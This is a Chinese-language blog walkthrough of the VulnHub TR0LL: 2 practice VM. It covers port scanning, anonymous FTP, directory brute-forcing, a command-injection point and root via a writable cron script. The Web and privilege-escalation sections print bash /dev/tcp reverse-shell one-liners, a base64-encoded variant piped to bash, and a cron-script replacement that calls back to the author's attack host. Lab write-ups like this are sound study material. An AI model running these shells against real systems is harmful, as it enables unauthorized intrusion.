资讯动态

VulnHub TR0LL:2靶机实战:从信息收集到Root提权全解析

发布时间:2026/10/16 1:12:17 来源:尧图企业网站定制
VulnHub上的靶机我前后打过三十多台TR0LL: 2算是里面风格比较特别的一台。整体难度不高但它不会让你太安逸很多步骤都藏着作者故意埋的误导项和一些“看起来是路其实走不通”的坑。对于刚接触VulnHub靶机渗透、想把信息收集和提权链路完整串起来的人这台非常适合作为第二三台的练习对象。这篇我就按自己的实际打靶过程把从环境配置到getshell再到root的完整路径拆开讲顺便把中途踩到的问题和判断逻辑一起说清楚。1. 环境准备和网络发现开局最容易翻车的地方1.1 虚拟机网络模式的取舍拿到TR0LL: 2的镜像文件后第一件事不是急着开机扫端口而是先把网络模式定清楚。我用VMware做复现这里踩过一次坑默认的NAT模式虽然能让靶机上网但宿主机和靶机不在同一个二层网络段后续用netdiscover这种基于ARP的探测工具基本扫不到东西除非手动指定IP段否则会白等半天。我的建议是直接用VMnet1Host-Only或者桥接模式。Host-Only最省心宿主机和靶机之间构成一个隔离的虚拟局域网不需要担心靶机流量跑到真实网络里去对刚入门的人来说安全边界也清晰。需要注意的是有些靶机系统对VMware虚拟网卡的内置驱动不友好开机后可能起不来网络接口这时候把网卡型号从默认的e1000改成VMXNET 3或者反过来试试通常就能起来。启动后先在宿主机上用ipconfigWindows或者ifconfig/ip aLinux确认一下当前虚拟网段。我这边Host-Only的网段是192.168.159.0/24宿主机是192.168.159.1。有了这个前提后面扫靶机IP就有的放矢了。1.2 确定靶机IP三种常规手段靶机开机后就是一张黑乎乎的纯命令行界面顶部显示登录提示不需要输入账号密码因为我们要从外部打进去。目标IP的获取我一般按这个顺序试netdiscover -r 192.168.159.0/24这是最快的方式基于ARP扫描只要靶机在线并且和宿主机在同一链路几乎必出结果。nmap -sn 192.168.159.0/24Ping扫描也能探测存活主机但如果靶机禁ICMP就会漏掉。到VMware的虚拟网络编辑器里看DHCP租约Host-Only模式下如果开了DHCP租约列表里能看到最新分配的IP。实测下来TR0LL: 2在Host-Only模式下会给自己分配一个192.168.159.x的地址我用netdiscover很快就锁定了192.168.159.172。确认目标存在的第一时间我先ping了一下确认能通再做的详细扫描。这里有个经验之谈先确认连通性再上重型扫描器很多新手一上来就全端口SYN大炮轰结果靶机防火墙拦得死死的还以为靶机有问题。2. 服务枚举FTP匿名登录和Web目录爆破双线推进2.1 端口扫描结果与服务判断信息收集是整台靶机的重心。第一轮我用nmap做了一次常规的全端口扫描nmap -sV -sC -p- 192.168.159.172 -oN tro11_full.txt跑完结果很明确三个端口开放端口服务初步判断21/tcpvsftpdFTP服务很可能允许匿名登录22/tcpOpenSSHSSH服务先记着后期可能用上80/tcpApache/nginxWeb服务主要攻击面看到vsftpd在21端口我基本上就已经锁定了第一条线索。靶机类环境里FTP匿名登录是极高概率的入口点哪怕访问不到什么敏感内容至少能拿到一些提示文件。另外80端口的Web服务通常是这类型靶机的核心线索集散地所以这轮信息收集我采取的是FTP和HTTP双线并行的策略而不是一条道走到黑。通常我习惯边扫Web边开FTP避免在单一服务上浪费过多时间。2.2 FTP匿名登录的收获和干扰项ftp 192.168.159.172用户名输anonymous密码留空或者随便输一个邮箱格式的字符串结果顺利进入。这就是渗透测试里常说的“匿名登录未禁用”虽然现代企业里这几乎绝迹了但在靶机上依然是保留节目。目录列表看到几个文件名字挺有暗示性的。我复现时看到的内容大致是这些roflmaoanswerlol.pcapsome_hint.txt第一反应当然是把所有文件都下回来逐个检查。ftp mget *其中some_hint.txt打开后是一段比较直白的提示大意是说“看一下流量包和那个奇怪的文件你会找到方向”。lol.pcap是流量包文件用Wireshark打开里面居然有明文FTP流量能看到尝试登录的账号密码痕迹但这些凭据我用下来发现并不是直接可用的这是作者埋的第一个干扰项让你以为拿到密码就能万事大吉实际上只是把你引向下一步而已。roflmao和answer这两个文件用file命令看了下一个是ELF可执行文件另一个是文本。我尝试直接运行那个ELF文件输出了一堆毫无意义的话看起来是作者用来嘲讽你的。如果你在这里跟它较劲试图逆向或者硬解方向就带偏了。后来我复盘发现这几个文件更像是一种“情绪干扰”让你觉得一定有贵重信息但实际没有。真正有用的线索还是在Web服务上。所以这里也给一个经验判断靶机中的FTP匿名目录优先看提示类文件hint、readme、txt和流量包ELF之类的可执行文件如果运行后没有实质输出不要恋战立刻切到Web侧继续收集。2.3 Web目录爆破从根目录到隐藏目录打Web服务我基本固定流程是浏览器打开主页看源码。没线索就上目录爆破。找到隐藏路径后继续递归爆破。TR0LL: 2的首页非常干净源码里也没有明显的注释泄露。干净到我一度怀疑是不是域名绑定问题——有些Web靶机需要通过特定的Host头才能访问到虚拟主机比如在/etc/hosts里绑定一个域名。不过试了默认IP访问能正常返回页面这个疑虑可以排除。然后开始目录爆破。工具我用的gobuster比dirsearch快不少而且不需要额外装一堆依赖gobuster dir -u http://192.168.159.172 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -t 50扫出来的第一个关键目录是/secret名字非常直白。访问过去之后还有个更小的隐藏目录是在/secret下继续爆破才发现的。这个“二级目录”才是真正的线索点。如果你只爆破根目录、扫到一个/secret就想当然进去翻很容易漏掉。所以目录爆破一定要关心相对路径下的嵌套目录尤其是/secret这种暗示强烈的名字里面极大概率还有一层。在二级目录里看到一个HTML文件打开后里面有一段看起来像是编码的字符串。这种形式的提示在靶机里太常见了不用慌直接把字符串拿去解码。3. 从Web入口到初始Shell突破点的发现与利用3.1 隐藏页面里的参数注入点拿到那段编码后的字符串第一反应是base64解码。解码后出来的是一段可打印字符看起来像是一个路径提示或者一句话。我解出来之后拼接到URL上尝试发现了Web应用里存在一个文件包含类型的可交互点——网址中带了一个参数参数值落实到Web应用实际读取的路径上这就把攻击面从静态目录提升到了动态代码执行。我具体测试的时候是把这个参数的值替换成常规路径试试能不能读到系统文件。比如改成/etc/passwd如果页面原样返回内容说明存在任意文件读取如果只是报错但没泄露路径至少也验证了参数是存在并且参与文件操作的。在TR0LL: 2这台靶机上文件读取的验证是成功的。这让我意识到下一步可以尝试把这个文件包含参数扩展成命令执行也就是看Web服务端是否还有更激进的调用逻辑。试了几个常用的拼接方式比如在参数里注入分号加命令、或者尝试利用日志文件包含、php://filter伪协议之类最终在一种很朴素的路径拼接方式下成功让系统执行了我传入的命令。这里想提醒一点在靶机环境里看到一个看起来可以直接利用的漏洞先别急着弹shell先做最小化验证。什么叫最小化验证即执行一个无危害但能确认成功的命令比如id或者whoami看页面是否回显结果。这个过程能帮你确认参数注入点是否真的能执行命令以及回显方式是什么为进一步利用提供准确的信息。3.2 反弹Shell的姿势与稳定性问题确认命令执行后下一步就是反弹一个Shell到我们自己的攻击机上。我这边攻击机是Kali先用nc -lvnp 4444开了一个监听端口。然后构造反弹Shell的载荷。这一步新手最容易卡住。原因在于HTTP参数传输特殊字符非常麻烦。你如果在URL里直接写bash -i /dev/tcp/192.168.159.1/4444 01各种重定向符号和都有可能被Web服务解析掉导致命令残缺页面直接500。我一般会先把命令base64编码后再通过管道执行echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTU5LjEvNDQ0NCAwPiYx | base64 -d | bash这段串在参数里发过去在靶机上解码还原后交给bash执行监听端很快收到了连接。这里面的核心教训是不要在URL里直接拼原始重定向字符用编码再管道解码的方式能绕开八成以上的特殊字符问题。拿到Shell之后我发现这个Shell极其不稳定稍微执行一个稍复杂的命令就断开连接时间也短。这种情况在Web应用生成的shell里很常见原因通常是子进程被Web服务的进程模型回收或者权限受限导致某些命令无法执行。遇到这种问题我一般会尽快用Python起一个更稳定的交互式Shellpython -c import pty;pty.spawn(/bin/bash)然后再按CtrlZ切到后台用stty raw -echo; fg把终端窗口恢复成正常交互模式。补一个export TERMxtermShell就变得舒服多了。这套操作手速得快一点因为原始Shell随时会断但第一次成功后基本就稳定了。3.3 低权限用户下的第一轮侦察拿到稳定Shell后先确认当前身份id whoami ip addr sudo -l当前用户是Apache的运行用户权限很低sudo -l大概率是没有结果或者直接报错但这一步顺手做了不亏。接着查看网站的目录结构看看有没有配置文件的数据库密码——有的靶机转折点就在这里。TR0LL: 2的站点目录里我没找到数据库配置倒是有一些看起来像是作者恶搞的文本文件里面写着“你真以为这里有密码吗”之类的话。看到这种提示就该清楚这台靶机的重点不是Web层面的敏感信息泄露得赶紧转场去做系统层面的提权。不过低权限阶段的信息收集绝对不能跳过。我习惯在拿到初始Shell后立刻跑一遍系统侦察命令把它们输出存下来当快照用。后面提权的时候对照这个快照能少走很多弯路。4. 权限提升从受限用户到root的最后一公里4.1 提权情报的收集顺序提权阶段最关键的就是信息收集的系统性和优先级。很多文章一上来就让你跑LinEnum.sh或者linux-exploit-suggester.sh我承认这些脚本效率高但它们对新手有一个副作用输出太多反而不知道哪条路是真的。我自己惯用的收集路径是先看当前用户能不能用sudo虽然大多不行但这条最便宜。查所有SUID位文件看有没有可被利用的二进制。检查/etc/crontab和/var/spool/cron里的定时任务。翻环境变量、历史命令文件、.bashrc。最后一次才考虑内核漏洞。在TR0LL: 2这台机器上第1步和第2步都让我扑了空。SUID位文件里确实有几个常见项但它们的执行逻辑非常标准没有明显可注入的路径。第3步的定时任务让我停住了。/etc/crontab里有一个以root权限运行的脚本这个脚本每隔一段时间就会被执行而它的执行路径恰好落在当前低权限用户拥有写权限的目录下。这里需要说明一下很多CTF和靶机的提权点其实都设计在“定时任务配合错误权限配置”上原理很简单系统以root身份去执行某个文件但那个文件或者它所在的目录却被低权限用户握有写权限那么低权限用户就能替换或者修改文件内容让root替你跑攻击命令。4.2 利用定时任务完成提权具体到这台靶机我看到root的cron任务里指定了一个绝对路径下的脚本。我检查了下这个文件当前的所有者确实是root但它在的目录权限却允许其他用户写入。这就意味着我可以直接把原始脚本改名备份然后写一个同名的新脚本进去内容就是一条反弹Shell命令#!/bin/bash bash -i /dev/tcp/192.168.159.1/4445 01同时写入到攻击机的另一个窗口监听4445端口。等待定时任务触发的过程中我顺手查看了一下脚本内容看它原本是干什么的——脚本里本身有一段逻辑但不管它原来的逻辑是什么只要我用我的脚本替换掉它下一次root执行时反弹Shell就会以root身份连回来。我监听的端口很快收到连接id一看已经是uid0(root)。这一步顺利得甚至让我觉得有点不真实但这恰恰说明了为什么很多靶机喜欢把提权点放在定时任务权限配置错误上它考察的不是你对复杂漏洞的掌握而是你是否会认真地看系统里每一个root会执行的东西。4.3 验证root权限提权成功后先不要急着高兴到忘记正事。验证权限完整性有几个动作必须做id cat /root/flag.txt python -c import pty;pty.spawn(/bin/bash)TR0LL: 2的flag藏在/root/flag.txt里内容是一个文本串。到这里这台靶机的核心目标就算完成了。我给自己的收尾动作是把整个过程中的关键输出记录下来作为写writeup的素材同时清理掉自己在系统上留下的临时文件尽量把环境还原干净。5. 复盘和避坑把一次打靶的收获沉淀下来5.1 作者设置的干扰项与防御侧思路打完这台靶机回看整个过程其实最值得说的不是技术而是信息干扰应对能力。这台机器里至少有四处明显是故意用来消耗你时间和精力的地方FTP目录里的ELF文件运行后输出废话纯浪费时间。lol.pcap里包含的账号密码实际不可登录。Web站点里的一些玩笑文本误导你认为还有隐藏目录。某些看似可读的路径实际上会返回空白。我把这种设计理解为作者想传递的信息**真实渗透中摆在面前的大量信息是噪声只有极少是信号。**区分两者的能力靠的不是某个工具而是对信息链路的判断——比如如果FTP里的ELF运行后什么都没有它就不符合“下一步线索”的特征应该被降权而流量包里虽然拿到了密码但验证失败后应该立刻放弃再找三条路而不是反复试密码变体。反过来从防守视角看这台靶机暴露出来的问题也很有代表性匿名FTP未禁用、Web目录没有做访问限制、定时任务脚本目录可写、root复用的反弹命令没有屏蔽。任何一个真实生产环境里出现这类问题都意味着攻击者已经离内网root很近了。5.2 每次打靶后应该沉淀的三类笔记我不太建议打完一台靶机就急着开下一台。每打完一台至少花半小时做笔记技术路径笔记IP是什么、端口是什么、每个突破点的具体操作命令、关键输出截图。踩坑记录哪些干扰项浪费了时间为什么会被误导下次遇到类似误导怎么快速识别。方法论提炼比如“拿到Web命令执行后先做最小验证再反弹shell”“提权阶段优先看定时任务而非盲目跑内核检测脚本”。这三点比“我打完了第X台靶机”有价值得多。靶机刷得再多没有沉淀下次遇到真实环境头脑还是空的。5.3 关于后续练习的建议如果你也准备刷VulnHub这台TR0LL: 2放在第二或者第三台的位置比较合适。第一台建议选难度标注为极低的、路径比较线性的靶机先把nmap、gobuster、反弹Shell这些基本功练顺。TR0LL: 2恰好能让你在前面基础之上体验“信息噪声”和“提权路径判断”难度曲线是合理的。再往后可以试试那些同时涉及内网横向、代理链、多主机交互的中等难度靶机那种对你综合能力的要求就完全不一样了。当然刚开始打的时候不必强求不看writeup。卡住超过半小时就去看别人的思路看懂了再回头自己复现这也是很高效的学习方式。我自己的经验是写writeup比看writeup重要得多你亲手写一遍才知道自己是真的懂还是只记住了答案。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑